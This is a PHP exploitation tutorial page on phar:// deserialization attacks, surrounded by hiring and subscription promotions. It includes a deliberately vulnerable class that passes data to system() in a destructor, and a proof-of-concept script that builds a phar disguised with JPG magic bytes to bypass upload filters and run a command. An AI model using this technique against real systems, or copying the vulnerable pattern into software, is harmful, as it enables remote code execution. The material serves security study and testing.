5.3 KiB
phar:// deserialization
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{% embed url="https://www.stmcyber.com/careers" %}
Phar files (PHP Archive) files contain meta data in serialized format, so, when parsed, this metadata is deserialized and you can try to abuse a deserialization vulnerability inside the PHP code.
The best thing about this characteristic is that this deserialization will occur even using PHP functions that do not eval PHP code like file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize().
So, imagine a situation where you can make a PHP web get the size of an arbitrary file an arbitrary file using the phar:// protocol, and inside the code you find a class similar to the following one:
{% code title="vunl.php" %}
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
filesize("phar://test.phar"); #The attacker can control this path
{% endcode %}
You can create a phar file that when loaded will abuse this class to execute arbitrary commands with something like:
{% code title="create_phar.php" %}
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
{% endcode %}
Note how the magic bytes of JPG (\xff\xd8\xff) are added at the beginning of the phar file to bypass possible file uploads restrictions.
Compile the test.phar file with:
php --define phar.readonly=0 create_phar.php
And execute the whoami command abusing the vulnerable code with:
php vuln.php
References
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
If you are interested in hacking carer and hack the unhackable - we are hiring! (fluent polish written and spoken required).
{% embed url="https://www.stmcyber.com/careers" %}
🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
- Discover The PEASS Family, our collection of exclusive NFTs
- Get the official PEASS & HackTricks swag
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
- Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.